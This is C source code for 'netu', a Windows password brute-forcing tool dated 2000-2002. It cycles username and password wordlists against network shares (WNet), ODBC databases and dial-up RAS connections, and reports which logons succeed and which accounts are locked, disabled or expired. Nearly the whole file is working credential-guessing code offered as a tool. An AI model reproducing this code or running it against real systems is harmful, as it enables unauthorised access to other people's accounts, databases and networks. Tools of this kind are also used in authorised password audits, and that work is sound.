////////////////////////////////////////////////////// // // netu - WNet, RAS and ODBC password bruteforcer // // (c)2000-2002 Olle Segerdahl // ////////////////////////////////////////////////////// #include #include #include #include #include #include #include #include int verbose = 0; // get time in milliseconds since time0 __inline unsigned int gettimesince(unsigned int time0) { static struct _SYSTEMTIME st; GetSystemTime(&st); return((st.wHour *3600000 + st.wMinute *60000 + st.wSecond *1000 + st.wMilliseconds) - time0); } // test password with ODBC and print results int test_pass_ODBC(char *system, char *user, char *pass, char *domain) { char *dsn, *dsnout; short len; char *resultstr = ""; int found = 0; SQLRETURN status; SQLHDBC hdbc; SQLHENV henv; char buf[10], msg[1024]; int code; // create DSN len = strlen(system) + strlen(user) + strlen(pass) + 11; dsn = malloc(len); dsnout = malloc(len+=128); sprintf(dsn,"UID=%s;PWD=%s;%s",user, pass, system); // setup ODBC if (SQLAllocHandle(SQL_HANDLE_ENV, NULL, &henv) != SQL_SUCCESS ) { fprintf(stderr, "allochandle env failed\n"); exit(1); } if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION, (void*)SQL_OV_ODBC3, 0) != SQL_SUCCESS ) { fprintf(stderr, "envattr failed\n"); exit(1); } if (SQLAllocHandle(SQL_HANDLE_DBC, henv, &hdbc) != SQL_SUCCESS ) { fprintf(stderr, "allochandle dbc failed\n"); exit(1); } if (SQLSetConnectAttr(hdbc, SQL_LOGIN_TIMEOUT, (void*)10, 0) != SQL_SUCCESS) { fprintf(stderr, "SQLSetConnectAttr( SQL_LOGIN_TIMEOUT ) failed\n"); exit(1); } // doit status = SQLDriverConnect(hdbc, NULL, dsn, (short)(len-128), dsnout, len, &len, SQL_DRIVER_NOPROMPT); //SQL_DRIVER_COMPLETE_REQUIRED switch (status){ case SQL_SUCCESS: case SQL_SUCCESS_WITH_INFO: resultstr = "Logon success!"; found = 1; break; case SQL_NO_DATA: case SQL_ERROR: strcpy(dsnout, dsn); // get ODBC error message SQLGetDiagRec(SQL_HANDLE_DBC, hdbc, 1, buf, &code, msg, 1024, &len); buf[6]=0; //printf("\n%s : %X : %s\n", buf, code, msg); if (!strcmp("28000", buf)) { resultstr = msg; } else if (!strcmp("NA000", buf) && code==0) { resultstr = "Logon failed."; } else { // if unknown error, print and die fprintf(stderr,"\nODBC error:\n%s\nExiting netu!\n",msg); exit(1); } break; default: resultstr = ""; fprintf(stderr,"%s : Error: %d: \n",dsn,status); } // cleanup ODBC SQLDisconnect(hdbc); SQLFreeHandle(SQL_HANDLE_DBC, hdbc); SQLFreeHandle(SQL_HANDLE_ENV, henv); if ((verbose || (found==1)) && resultstr[0] != 0) fprintf(stdout,"\"%s\" : %s\n",dsnout,resultstr), fflush(stdout); return found; } // test password with RAS and print results int test_pass_RAS(char *system, char *user, char *pass, char *domain) { char errormess[256]; char *resultstr; int found = 0; DWORD dialstatus; HRASCONN hconn = NULL; RASDIALPARAMS dialparams = { sizeof(RASDIALPARAMS), "netu", //name "", //telnum "", //cbnumber "", //user "", //pass "" //ntdom }; strcpy(dialparams.szPhoneNumber,system); strcpy(dialparams.szUserName,user); strcpy(dialparams.szPassword,pass); if (domain != NULL) { strcpy(dialparams.szDomain,domain); } dialstatus = RasDial(NULL,NULL,&dialparams,0,NULL,&hconn); RasHangUp(hconn); errormess[0]=0; RasGetErrorString(dialstatus,errormess,sizeof(errormess)); errormess[254]=0; switch (dialstatus){ case 0: resultstr = "Logon success!"; found = 1; break; case ERROR_AUTHENTICATION_FAILURE: //691 resultstr = "Logon failed!"; break; case ERROR_CANNOT_FIND_PHONEBOOK_ENTRY: //623 fprintf(stderr,"\nYou MUST create a RAS phonebook entry (dialup connection)\n named \"netu\" with the dialup settings you wish to use!\n"); exit(-1); case ERROR_PORT_NOT_AVAILABLE: //633 case ERROR_NO_DIALTONE: //680 case 797: fprintf(stderr,"%s\nExiting netu!\n",errormess); exit(1); case ERROR_LINE_BUSY: //676 resultstr = "Line Busy!"; found = -1; default: resultstr = ""; fprintf(stderr,"%s %s : %-14s Error: %d: %s\n",system,user,pass,dialstatus,errormess); } if ((verbose || (found==1)) && resultstr[0] != 0) fprintf(stdout,"%s %s : %-14s %s\n",system,user,pass,resultstr), fflush(stdout); return found; } // print results of do_WNAC int test_pass_WNAC(char *system, char *user, char *pass, char *domain) { NETRESOURCEA netres; DWORD result; char *resultstr; char buf[128]; int found = 0; int show = 0; // add domain if nessecary strncpy(buf,user,127); buf[127]=0; if (domain != NULL) { strncpy(buf,domain,20); buf[20] = 0; strncat(buf,"\\",1); strncat(buf,user,80); buf[127] = 0; } netres.dwType = RESOURCETYPE_ANY; netres.lpLocalName = NULL; netres.lpRemoteName = system; netres.lpProvider = NULL; // these seem to be ignored by WNAC2 netres.dwDisplayType = 0; netres.dwUsage = RESOURCEUSAGE_NOLOCALDEVICE; netres.dwScope = 0; netres.lpComment = NULL; result = WNetAddConnection2A(&netres,pass,buf,0); WNetCancelConnection2A(system,0,USE_LOTS_OF_FORCE); // parse error codes switch (result) { case ERROR_SESSION_CREDENTIAL_CONFLICT: resultstr = "Conflict Existing Credentials!"; found = -1; break; case ERROR_SUCCESS: resultstr = "Logon success!"; found = 1; break; case ERROR_LOGON_FAILURE: resultstr = "Logon failed!"; break; case ERROR_WRONG_PASSWORD: case ERROR_INVALID_PASSWORD: resultstr = "Wrong Password!"; break; case ERROR_INVALID_ADDRESS: resultstr = "Invalid address!"; found = -1; show = 1; break; case ERROR_BAD_NET_NAME: resultstr = "Bad Netname!"; found = -1; show = 1; break; case ERROR_BAD_NETPATH: resultstr = "UNC path could not be found!"; found = 1; break; case ERROR_NO_SUCH_USER: resultstr = "No such user!"; found = 1; break; case ERROR_LOGON_TYPE_NOT_GRANTED: resultstr = "Network logon not granted!"; found = 1; break; case ERROR_ACCOUNT_DISABLED: resultstr = "Account disabled!"; found = 1; break; case ERROR_ACCOUNT_LOCKED_OUT: resultstr = "Account Locked Out!"; //1909 found = 1; break; case ERROR_ACCOUNT_RESTRICTION: resultstr = "Account restricted!"; found = 1; break; case ERROR_LOGIN_TIME_RESTRICTION: case ERROR_INVALID_LOGON_HOURS: resultstr = "Logon hours restricted!"; found = 1; break; case ERROR_LOGIN_WKSTA_RESTRICTION: case ERROR_INVALID_WORKSTATION: resultstr = "Workstation Restricted!"; found = 1; break; case ERROR_PASSWORD_EXPIRED: resultstr = "Password Expired!"; found = 1; break; case ERROR_PASSWORD_MUST_CHANGE: resultstr = "Must change password!"; found = 1; break; case ERROR_CONNECTION_COUNT_LIMIT: resultstr = "Too many concurrent logins!"; found = 1; break; case ERROR_ACCESS_DENIED: resultstr = "Access Denied!"; found = 1; break; case ERROR_NETLOGON_NOT_STARTED: //1792 resultstr = "NetLogon service not running!"; found = -1; show = 1; break; case ERROR_EXTENDED_ERROR: //1208 resultstr = "\"Extended Error\" (must change pwd?)"; show = 1; break; default: resultstr = ""; fprintf(stderr,"%s %s : %-14s Win32Error: %d!\n",system,user,pass,result); break; } if ((verbose || (found==1) || show) && resultstr[0] != 0) fprintf(stdout,"%s %s : %-14s %s\n",system,user,pass,resultstr), fflush(stdout); return found; } // linked userlist typedef struct userl_s { char *name; struct userl_s *next; } userl; main(int argc, char **argv) { char *user, *pass; char buf[128]; char *domain = NULL; FILE *userfile; FILE *passfile; typedef int(*funcp)(char *, char *, char*, char *); funcp test_pass; unsigned int starttime; unsigned int msecs; unsigned long tries; unsigned long total_tries = 0; unsigned long total_msecs = 0; unsigned long total_users = 0; unsigned long passwords = 0; int status; userl *users = NULL; userl *userp = NULL; if ((argc < 4) || (argc > 6)) { fprintf(stderr,"\n netu v1.0-FINAL (c)2000-2002 Olle Segerdahl \n\n"); fprintf(stderr," Password tester using WNetAddConnection2(), SQLConnect() or RasDial()\n\n"); fprintf(stderr," usage: netu [domain] [-v]\n\n"); fprintf(stderr," UNC paths work with any installed WNet \"provider\" (eg. NetWare client).\n"); fprintf(stderr," The word \"_SAME_AS_USER_\" in is replaced by the username.\n"); fprintf(stderr," [domain] is an optional NT domainname to prepend to usernames.\n"); exit(0); } // print startup banner fprintf(stderr,"\n-=[netu]=- started, testing users on %s\n\n",argv[1]); test_pass = &test_pass_WNAC; if (argv[1][0] != '\\') { fprintf(stderr,"Target not in UNC, "); if (isalpha(argv[1][0])) { fprintf(stderr,"assuming DSN for ODBC.\n"); test_pass = &test_pass_ODBC; } else { fprintf(stderr,"assuming telephone number for RAS.\n"); test_pass = &test_pass_RAS; } } // bad argument parsing if (argc == 5) if ((argv[4][0] == '-') && (argv[4][1] == 'v')) verbose=1; else domain = argv[4]; if (argc == 6) if ((argv[4][0] == '-') && (argv[4][1] == 'v')) { verbose=1; domain = argv[5]; } else { verbose=1; domain = argv[4]; } // open input files userfile = fopen(argv[2],"r"); if (userfile == NULL) { fprintf(stderr,"Could not open username file %s\n",argv[2]); exit(1); } passfile = fopen(argv[3],"r"); if(passfile == NULL) { fprintf(stderr,"Could not open password file %s\n",argv[3]); exit(1); } // read users from file while (1) { // get next user from file buf[0] = 0; if (NULL == fgets(buf,127,userfile)) { if (feof(userfile)) { // no more users break; } else { fprintf(stderr,"Error while reading username file %s\n",argv[2]); exit(1); } } buf[127] = 0; // chomp user if (buf[strlen(buf)-1] == '\n') buf[strlen(buf)-1] = 0; // init list if empty if (users==NULL) { userp = users = malloc(sizeof(userl)); userp->next = NULL; } // add new element after last for (userp=users; userp->next!=NULL; userp=userp->next); userp->next = malloc(sizeof(userl)); userp = userp->next; if (!userp) fprintf(stderr, "error in malloc!\n"), exit(1); userp->next = NULL; // assign username userp->name = malloc(strlen(buf)+1); if (!userp->name) fprintf(stderr, "error in malloc!\n"), exit(1); strncpy(userp->name, buf, strlen(buf)); userp->name[strlen(buf)] = '\0'; total_users++; } // start looping through passwords while (users->next) { // get next password from file buf[0] = 0; if (NULL == fgets(buf,127,passfile)) { if (feof(passfile)) { break; } else { fprintf(stderr,"Error while reading password file %s\n",argv[3]); exit(1); } } buf[127] = 0; // chomp pass if (buf[strlen(buf)-1] == '\n') buf[strlen(buf)-1] = 0; // setup user loop variables pass = buf; userp = users; starttime = gettimesince(0); tries=0; // start looping users do { user = userp->next->name; // username same as password if (strcmp("_SAME_AS_USER_",buf)==0) pass = user; // print status messages XXX do we really need this anymore? XXX if (_kbhit()) { msecs = gettimesince(starttime); fprintf(stderr,"%d tries on pwd \"%s\" last user: %s (pwds/s: %d)\n", tries, pass, user, (tries*1000)/(msecs+1)); // exit if q pressed if (_getch() == 'q') exit(0); } // try password while((status = (test_pass)(argv[1],user,pass,domain)) == -1); { // retry if returncode is -1 Sleep(1); } tries++; // if valid password found, remove username from list if (status==1) { userl *tmp; tmp = userp->next; userp->next = userp->next->next; free(tmp); } else { // next user userp = userp->next; } } while ((userp!=NULL) && (userp->next!=NULL)); // update counters msecs = gettimesince(starttime); if (!msecs) msecs++; total_tries += tries; total_msecs += msecs; passwords++; // print status messages if (verbose) fprintf(stderr,"Tried \"%s\" on %d users in %dm:%d.%.3ds, passwords/sec: %d\n",buf,tries,(msecs/1000)/60,(msecs/1000)%60,msecs%1000,(tries*1000)/msecs); fflush(stderr); } /* while (1) password loop */ // print final stats fprintf(stderr,"\nTried %d pwds on %d users: %d tries in %dm:%d.%.3ds (pwds/s: %d)\n",passwords,total_users,total_tries,(total_msecs/1000)/60,(total_msecs/1000)%60,total_msecs%1000,(total_tries*1000)/total_msecs); }